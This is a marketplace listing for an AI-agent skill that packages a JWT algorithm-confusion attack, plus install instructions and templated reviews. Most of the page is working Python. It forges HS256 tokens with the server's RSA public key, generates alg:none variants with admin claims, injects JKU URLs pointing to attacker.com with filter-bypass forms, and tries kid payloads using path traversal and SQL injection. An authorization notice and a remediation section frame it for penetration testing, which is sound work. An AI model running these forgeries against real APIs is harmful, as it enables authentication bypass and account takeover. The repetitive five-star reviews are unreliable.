exploiting-jwt-algorithm-confusion-attack▌
mukul975/Anthropic-Cybersecurity-Skills · updated May 25, 2026
MDX-style export adds YAML metadata + attribution linking explainx.ai and this canonical listing URL.
Exploits JWT algorithm confusion vulnerabilities where the server's token verification library accepts the algorithm specified in the JWT header rather than enforcing a fixed algorithm. The tester manipulates the alg header to switch from RS256 to HS256 (using the RSA public key as the HMAC secret), sets alg to none to bypass signature verification, or exploits kid/jku/x5u header injection to supply attacker-controlled keys. Activates for requests involving JWT algorithm confusion, alg none attack, key confusion attack, or JWT signature bypass.
| name | exploiting-jwt-algorithm-confusion-attack |
| description | 'Exploits JWT algorithm confusion vulnerabilities where the server''s token verification library accepts the algorithm specified in the JWT header rather than enforcing a fixed algorithm. The tester manipulates the alg header to switch from RS256 to HS256 (using the RSA public key as the HMAC secret), sets alg to none to bypass signature verification, or exploits kid/jku/x5u header injection to supply attacker-controlled keys. Activates for requests involving JWT algorithm confusion, alg none attack, key confusion attack, or JWT signature bypass. ' |
| domain | cybersecurity |
| subdomain | api-security |
| tags | - api-security - jwt - algorithm-confusion - token-forgery - cryptographic-attack |
| version | 1.0.0 |
| author | mahipal |
| license | Apache-2.0 |
| nist_csf | - PR.PS-01 - ID.RA-01 - PR.DS-10 - DE.CM-01 |
Exploiting JWT Algorithm Confusion Attack
When to Use
- Testing APIs that use RS256 (asymmetric) JWT tokens for authentication to check for algorithm downgrade to HS256
- Assessing JWT implementations for alg:none bypass where the server skips signature verification
- Evaluating JWT libraries for key confusion vulnerabilities where the public key is used as HMAC secret
- Testing kid (Key ID), jku (JWK Set URL), and x5u (X.509 URL) header parameters for injection
- Validating that the API server enforces a specific algorithm and does not trust the JWT header
Do not use without written authorization. JWT exploitation can lead to authentication bypass and account takeover.
Prerequisites
- Written authorization specifying the target API and JWT-based authentication in scope
- A valid JWT token from the target API (obtained through legitimate authentication)
- The server's RSA public key (obtainable from JWKS endpoint, TLS certificate, or public key endpoint)
- Python 3.10+ with
PyJWT,cryptography, andrequestslibraries - jwt_tool for automated JWT attack testing
- Burp Suite with JWT Editor extension
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Workflow
Step 1: JWT Token Analysis
import base64
import json
import requests
import hmac
import hashlib
import time
BASE_URL = "https://target-api.example.com/api/v1"
# Capture a valid JWT token
login_resp = requests.post(f"{BASE_URL}/auth/login",
json={"email": "[email protected]", "password": "TestPass123!"})
valid_token = login_resp.json().get("access_token", "")
# Decode JWT parts
def decode_jwt(token):
parts = token.split('.')
if len(parts) != 3:
raise ValueError("Invalid JWT format")
def pad(s):
return s + '=' * (4 - len(s) % 4)
header = json.loads(base64.urlsafe_b64decode(pad(parts[0])))
payload = json.loads(base64.urlsafe_b64decode(pad(parts[1])))
return header, payload, parts[2]
header, payload, signature = decode_jwt(valid_token)
print(f"Algorithm: {header.get('alg')}")
print(f"Key ID: {header.get('kid', 'none')}")
print(f"Type: {header.get('typ')}")
print(f"JKU: {header.get('jku', 'none')}")
print(f"\nPayload: {json.dumps(payload, indent=2)}")
print(f"\nExpires: {time.ctime(payload.get('exp', 0))}")
Step 2: Obtain the Public Key
from cryptography.hazmat.primitives import serialization
from cryptography.x509 import load_pem_x509_certificate
# Method 1: JWKS endpoint
jwks_url = f"{BASE_URL}/.well-known/jwks.json"
jwks_resp = requests.get(jwks_url)
if jwks_resp.status_code == 200:
jwks = jwks_resp.json()
print(f"JWKS keys found: {len(jwks.get('keys', []))}")
for key in jwks['keys']:
print(f" kid: {key.get('kid')}, kty: {key.get('kty')}, alg: {key.get('alg')}")
# Extract RSA public key from JWKS
from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbers
from cryptography.hazmat.backends import default_backend
rsa_key = jwks['keys'][0] # First key
n = int.from_bytes(base64.urlsafe_b64decode(rsa_key['n'] + '=='), 'big')
e = int.from_bytes(base64.urlsafe_b64decode(rsa_key['e'] + '=='), 'big')
public_key = RSAPublicNumbers(e, n).public_key(default_backend())
public_key_pem = public_key.public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo
)
print(f"\nPublic Key (PEM):\n{public_key_pem.decode()}")
# Method 2: From well-known OpenID configuration
oidc_resp = requests.get(f"{BASE_URL}/.well-known/openid-configuration")
if oidc_resp.status_code == 200:
jwks_uri = oidc_resp.json().get('jwks_uri')
print(f"JWKS URI from OIDC config: {jwks_uri}")
# Method 3: Exposed at common paths
for path in ["/public-key", "/api/public-key", "/oauth/token_key", "/.well-known/jwks"]:
resp = requests.get(f"{BASE_URL}{path}")
if resp.status_code == 200 and ("BEGIN" in resp.text or "keys" in resp.text):
print(f"Public key found at: {path}")
Step 3: Algorithm Confusion Attack (RS256 to HS256)
def forge_hs256_with_public_key(token, public_key_pem, modifications=None):
"""
Algorithm confusion: Sign token with HS256 using the RSA public key as secret.
If the server uses a generic verify() that trusts the alg header, it will use
the public key as the HMAC secret, matching our signature.
"""
parts = token.split('.')
payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
# Modify payload if requested
if modifications:
payload.update(modifications)
# Create header with HS256
new_header = {"alg": "HS256", "typ": "JWT"}
# Encode header and payload
header_b64 = base64.urlsafe_b64encode(
json.dumps(new_header).encode()).decode().rstrip('=')
payload_b64 = base64.urlsafe_b64encode(
json.dumps(payload).encode()).decode().rstrip('=')
# Sign with HMAC-SHA256 using the RSA public key as the secret
signing_input = f"{header_b64}.{payload_b64}".encode()
# Use the raw PEM bytes as the HMAC key
if isinstance(public_key_pem, str):
public_key_pem = public_key_pem.encode()
signature = hmac.new(public_key_pem, signing_input, hashlib.sha256).digest()
sig_b64 = base64.urlsafe_b64encode(signature).decode().rstrip('=')
return f"{header_b64}.{payload_b64}.{sig_b64}"
# Attack 1: Algorithm confusion with same claims
confused_token = forge_hs256_with_public_key(valid_token, public_key_pem)
resp = requests.get(f"{BASE_URL}/users/me",
headers={"Authorization": f"Bearer {confused_token}"})
print(f"Algorithm confusion (same claims): {resp.status_code}")
if resp.status_code == 200:
print("[CRITICAL] Algorithm confusion attack successful - RS256 to HS256")
# Attack 2: Algorithm confusion with elevated privileges
admin_token = forge_hs256_with_public_key(valid_token, public_key_pem,
modifications={"role": "admin", "sub": "[email protected]"})
resp = requests.get(f"{BASE_URL}/admin/users",
headers={"Authorization": f"Bearer {admin_token}"})
print(f"Algorithm confusion (admin): {resp.status_code}")
if resp.status_code == 200:
print("[CRITICAL] Admin access via algorithm confusion + claim manipulation")
# Attack 3: Try different public key formats
key_formats = [
public_key_pem, # Full PEM
public_key_pem.strip(), # Stripped whitespace
public_key_pem.replace(b'\n', b''), # No newlines
public_key_pem.decode().split('\n')[1:-1], # Base64 only
]
for i, key_format in enumerate(key_formats):
if isinstance(key_format, list):
key_format = ''.join(key_format).encode()
elif isinstance(key_format, str):
key_format = key_format.encode()
token = forge_hs256_with_public_key(valid_token, key_format)
resp = requests.get(f"{BASE_URL}/users/me",
headers={"Authorization": f"Bearer {token}"})
if resp.status_code == 200:
print(f"[CRITICAL] Key format {i} worked for algorithm confusion")
Step 4: Algorithm None Attack
def forge_none_algorithm(token, modifications=None):
"""Create tokens with alg:none variations to bypass signature verification."""
parts = token.split('.')
payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
if modifications:
payload.update(modifications)
payload_b64 = base64.urlsafe_b64encode(
json.dumps(payload).encode()).decode().rstrip('=')
# Different "none" algorithm variations
none_variants = [
{"alg": "none", "typ": "JWT"},
{"alg": "None", "typ": "JWT"},
{"alg": "NONE", "typ": "JWT"},
{"alg": "nOnE", "typ": "JWT"},
{"typ": "JWT"}, # Missing alg entirely
]
tokens = []
for variant_header in none_variants:
header_b64 = base64.urlsafe_b64encode(
json.dumps(variant_header).encode()).decode().rstrip('=')
# Different signature options
sig_options = [
"", # Empty signature
".", # Just a dot
parts[2], # Original signature
base64.urlsafe_b64encode(b'\x00').decode().rstrip('='), # Null byte
]
for sig in sig_options:
tokens.append(f"{header_b64}.{payload_b64}.{sig}")
return tokens
# Test all none algorithm variations
none_tokens = forge_none_algorithm(valid_token)
for i, token in enumerate(none_tokens):
resp = requests.get(f"{BASE_URL}/users/me",
headers={"Authorization": f"Bearer {token}"})
if resp.status_code == 200:
header = json.loads(base64.urlsafe_b64decode(token.split('.')[0] + '=='))
print(f"[CRITICAL] alg:none bypass #{i}: header={header}, sig_len={len(token.split('.')[2])}")
# Test with privilege escalation
admin_none_tokens = forge_none_algorithm(valid_token,
modifications={"role": "admin", "is_admin": True})
for token in admin_none_tokens:
resp = requests.get(f"{BASE_URL}/admin/users",
headers={"Authorization": f"Bearer {token}"})
if resp.status_code == 200:
print("[CRITICAL] Admin access via alg:none bypass")
break
Step 5: JKU and KID Header Injection
import os
# Attack: JKU (JWK Set URL) injection
# Host attacker-controlled JWKS that contains our key pair
def generate_attacker_jwks():
"""Generate an RSA key pair and JWKS for the attacker's server."""
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend
# Generate attacker key pair
private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
backend=default_backend()
)
public_key = private_key.public_key()
public_numbers = public_key.public_numbers()
n_b64 = base64.urlsafe_b64encode(
public_numbers.n.to_bytes(256, 'big')).decode().rstrip('=')
e_b64 = base64.urlsafe_b64encode(
public_numbers.e.to_bytes(3, 'big')).decode().rstrip('=')
jwks = {
"keys": [{
"kty": "RSA",
"kid": "attacker-key-1",
"use": "sig",
"alg": "RS256",
"n": n_b64,
"e": e_b64
}]
}
return private_key, jwks
attacker_private_key, attacker_jwks = generate_attacker_jwks()
# Create JWT with JKU pointing to attacker server
def forge_jku_token(payload_modifications, jku_url):
"""Create a JWT signed with attacker key, JKU pointing to attacker JWKS."""
payload = json.loads(base64.urlsafe_b64decode(valid_token.split('.')[1] + '=='))
payload.update(payload_modifications)
header = {
"alg": "RS256",
"typ": "JWT",
"kid": "attacker-key-1",
"jku": jku_url # Points to attacker-hosted JWKS
}
header_b64 = base64.urlsafe_b64encode(
json.dumps(header).encode()).decode().rstrip('=')
payload_b64 = base64.urlsafe_b64encode(
json.dumps(payload).encode()).decode().rstrip('=')
# Sign with attacker's private key
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import padding
signing_input = f"{header_b64}.{payload_b64}".encode()
signature = attacker_private_key.sign(
signing_input,
padding.PKCS1v15(),
hashes.SHA256()
)
sig_b64 = base64.urlsafe_b64encode(signature).decode().rstrip('=')
return f"{header_b64}.{payload_b64}.{sig_b64}"
# Test JKU injection with various URLs
jku_urls = [
"https://attacker.com/.well-known/jwks.json",
"https://attacker.com/jwks",
# Bypass URL filters
f"{BASE_URL}@attacker.com/jwks",
f"{BASE_URL}/.well-known/jwks.json#@attacker.com",
]
for jku in jku_urls:
token = forge_jku_token({"role": "admin"}, jku)
# Note: This test requires hosting the attacker JWKS at the specified URL
print(f" JKU injection payload generated for: {jku}")
# KID injection (SQL injection in kid parameter)
kid_injection_payloads = [
"../../../../../../dev/null", # Path traversal to empty file
"../../../../../../proc/sys/kernel/hostname",
"' UNION SELECT 'secret-key' -- ", # SQL injection in kid lookup
"' OR '1'='1",
"../../../etc/passwd",
"https://attacker.com/key.pem", # URL-based kid
]
for kid in kid_injection_payloads:
modified_header = {"alg": "HS256", "typ": "JWT", "kid": kid}
header_b64 = base64.urlsafe_b64encode(
json.dumps(modified_header).encode()).decode().rstrip('=')
payload_b64 = valid_token.split('.')[1]
# Sign with the expected key material from the injection
signing_input = f"{header_b64}.{payload_b64}".encode()
# For path traversal to /dev/null, the key would be empty
sig = hmac.new(b"", signing_input, hashlib.sha256).digest()
sig_b64 = base64.urlsafe_b64encode(sig).decode().rstrip('=')
token = f"{header_b64}.{payload_b64}.{sig_b64}"
resp = requests.get(f"{BASE_URL}/users/me",
headers={"Authorization": f"Bearer {token}"})
if resp.status_code == 200:
print(f"[CRITICAL] KID injection successful: {kid}")
Key Concepts
| Term | Definition |
|---|---|
| Algorithm Confusion | Attack where the server trusts the alg header in the JWT, allowing an attacker to switch from RS256 to HS256 and sign with the public key as the HMAC secret |
| alg:none Attack | Setting the JWT algorithm to "none" to bypass signature verification entirely, if the library does not enforce algorithm selection |
| JKU Injection | Manipulating the jku (JWK Set URL) header to point to an attacker-controlled JWKS endpoint, allowing the attacker to supply their own signing keys |
| KID Injection | Injecting SQL, path traversal, or URL payloads into the kid (Key ID) header parameter to manipulate key selection or read arbitrary files |
| Key Confusion | Using the RSA public key as the HMAC secret when the server incorrectly switches from asymmetric to symmetric verification |
| JWKS (JSON Web Key Set) | A JSON structure containing the public keys used by the server to verify JWT signatures, typically hosted at a well-known endpoint |
Tools & Systems
- jwt_tool: Python-based JWT testing toolkit with 12+ attack modes including alg confusion, none bypass, and kid injection
- Burp Suite JWT Editor: Extension for decoding, editing, and re-signing JWTs with algorithm manipulation capabilities
- hashcat (mode 16500): GPU-accelerated HMAC secret brute-forcing for HS256/HS384/HS512-signed JWTs
- John the Ripper: CPU-based JWT secret cracking with wordlist and rule-based attacks
- jwt.io: Online JWT decoder and debugger for quick token analysis
Common Scenarios
Scenario: Algorithm Confusion on Banking API
Context: A banking API uses RS256-signed JWTs for authentication. The JWKS endpoint is publicly accessible. The API handles financial transactions requiring high assurance authentication.
Approach:
- Obtain a valid JWT by authenticating as a regular user
- Extract the RSA public key from the JWKS endpoint at
/.well-known/jwks.json - Create a new JWT with
"alg": "HS256"header and sign it using the RSA public key as the HMAC secret - Send the forged token to
GET /api/v1/users/me- server accepts it (algorithm confusion confirmed) - Modify the payload to set
"role": "admin"and"sub": "[email protected]"- sign with the public key - Access admin endpoints:
GET /api/v1/admin/transactionsreturns all transaction history - Test alg:none: rejected by the server (partial mitigation)
- Test kid injection with SQL payload: kid parameter is used in a SQL query to look up keys, enabling SQL injection
Pitfalls:
- Using the wrong format of the public key as the HMAC secret (PEM with/without headers, DER, raw bytes)
- Not trying multiple public key formats when the first one does not produce a valid signature
- Assuming the alg:none defense means algorithm confusion is also mitigated
- Not testing kid injection vectors when the kid parameter is present in the JWT header
- Missing JKU/x5u header injection when the server fetches keys from URLs
Output Format
## Finding: JWT Algorithm Confusion Enables Authentication Bypass
**ID**: API-JWT-001
**Severity**: Critical (CVSS 9.8)
**CVE Reference**: CVE-2024-54150 (related pattern)
**Affected Component**: JWT authentication middleware
**Description**:
The API's JWT verification library trusts the algorithm specified in
the JWT header rather than enforcing a fixed algorithm. An attacker can
change the algorithm from RS256 to HS256 and sign the token using the
server's RSA public key (available from the JWKS endpoint) as the HMAC
secret. The server then uses the same public key to verify the HMAC
signature, which succeeds, allowing the attacker to forge tokens for
any user with any role.
**Attack Chain**:
1. Obtain public key: GET /.well-known/jwks.json
2. Create JWT: {"alg":"HS256","typ":"JWT"}.{"sub":"admin","role":"admin"}
3. Sign with HMAC-SHA256 using RSA public key PEM as secret
4. Access admin API: GET /api/v1/admin/transactions -> 200 OK
**Impact**:
Complete authentication bypass. An attacker can forge tokens for any
user including administrators, accessing all financial transactions,
user data, and administrative functions.
**Remediation**:
1. Enforce the expected algorithm at the server configuration level: jwt.verify(token, key, algorithms=["RS256"])
2. Never trust the alg header from the JWT for algorithm selection
3. Update the JWT library to the latest version with algorithm confusion protections
4. Consider using EdDSA (Ed25519) which does not have symmetric/asymmetric confusion risk
5. Implement token binding to prevent forged token acceptance
How to use exploiting-jwt-algorithm-confusion-attack on Cursor
AI-first code editor with Composer
Prerequisites
Before installing skills in Cursor, ensure your development environment meets these requirements:
- ›Cursor installed and configured on your development machine
- ›Node.js version 16.0+ with npm package manager (verify with
node --version) - ›Active project directory or workspace where you want to add exploiting-jwt-algorithm-confusion-attack
Execute installation command
Execute the skills CLI command in your project's root directory to begin installation:
The skills CLI fetches exploiting-jwt-algorithm-confusion-attack from GitHub repository mukul975/Anthropic-Cybersecurity-Skills and configures it for Cursor.
Select Cursor when prompted
The CLI will show a list of available agents. Use arrow keys to navigate and space to select Cursor:
Verify installation
Confirm successful installation by checking the skill directory location:
Reload or restart Cursor to activate exploiting-jwt-algorithm-confusion-attack. Access the skill through slash commands (e.g., /exploiting-jwt-algorithm-confusion-attack) or your agent's skill management interface.
Security & Verification Notice
We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.
Skills execute code in your development environment. Always verify the publisher's identity, review recent commits, and test in isolated environments before production deployment.
List & Monetize Your Skill
Submit your Claude Code skill and start earning
Use Cases▌
Task Automation & Efficiency
Automate repetitive workflows and reduce manual effort
Example
Generate reports, summarize documents, draft communications
Save 3-5 hours per week on routine tasks
Knowledge Enhancement
Learn new skills, understand complex topics, get expert guidance
Example
Explain concepts, provide examples, suggest learning resources
Accelerate learning and skill development by 2x
Quality Improvement
Enhance output quality through reviews, suggestions, and refinements
Example
Review drafts, suggest improvements, catch errors
Improve work quality by 30-40% with less effort
Implementation Guide▌
Prerequisites
- ›Claude Desktop or compatible AI client with skill support
- ›Clear understanding of task or problem to solve
- ›Willingness to iterate and refine outputs
Time Estimate
15-45 minutes depending on use case complexity
Installation Steps
- 1.Install skill using provided installation command
- 2.Test with simple use case relevant to your work
- 3.Evaluate output quality and relevance
- 4.Iterate on prompts to improve results
- 5.Integrate into regular workflow if valuable
Common Pitfalls
- ⚠Expecting perfect results without iteration
- ⚠Not providing enough context in prompts
- ⚠Using skill for tasks outside its intended scope
- ⚠Accepting outputs without review and validation
Best Practices▌
✓ Do
- +Start with clear, specific prompts
- +Provide relevant context and constraints
- +Review and refine all outputs before using
- +Iterate to improve output quality
- +Document successful prompt patterns
✗ Don't
- −Don't use without understanding skill limitations
- −Don't skip validation of outputs
- −Don't share sensitive information in prompts
- −Don't expect skill to replace human judgment
💡 Pro Tips
- ★Be specific about desired format and style
- ★Ask for multiple options to choose from
- ★Request explanations to understand reasoning
- ★Combine AI efficiency with human expertise
When to Use This▌
✓ Use When
Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.
✗ Avoid When
Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.
Learning Path▌
- 1Familiarize yourself with skill capabilities and limitations
- 2Start with low-risk, non-critical tasks
- 3Progress to more complex and valuable use cases
- 4Build expertise through regular use and experimentation
Discussion
Product Hunt–style comments (not star reviews)- No comments yet — start the thread.
Ratings
4.5★★★★★26 reviews- ★★★★★Dhruvi Jain· Dec 20, 2024
I recommend exploiting-jwt-algorithm-confusion-attack for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.
- ★★★★★Yuki Flores· Dec 8, 2024
exploiting-jwt-algorithm-confusion-attack has been reliable in day-to-day use. Documentation quality is above average for community skills.
- ★★★★★Maya Bhatia· Dec 4, 2024
Useful defaults in exploiting-jwt-algorithm-confusion-attack — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.
- ★★★★★Ishan Haddad· Nov 27, 2024
Solid pick for teams standardizing on skills: exploiting-jwt-algorithm-confusion-attack is focused, and the summary matches what you get after install.
- ★★★★★Soo Abbas· Nov 23, 2024
exploiting-jwt-algorithm-confusion-attack is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
- ★★★★★Oshnikdeep· Nov 11, 2024
exploiting-jwt-algorithm-confusion-attack fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.
- ★★★★★Benjamin Rahman· Oct 18, 2024
I recommend exploiting-jwt-algorithm-confusion-attack for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.
- ★★★★★Luis Martinez· Oct 14, 2024
exploiting-jwt-algorithm-confusion-attack reduced setup friction for our internal harness; good balance of opinion and flexibility.
- ★★★★★Ganesh Mohane· Oct 2, 2024
exploiting-jwt-algorithm-confusion-attack has been reliable in day-to-day use. Documentation quality is above average for community skills.
- ★★★★★Isabella Taylor· Sep 25, 2024
Useful defaults in exploiting-jwt-algorithm-confusion-attack — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.
showing 1-10 of 26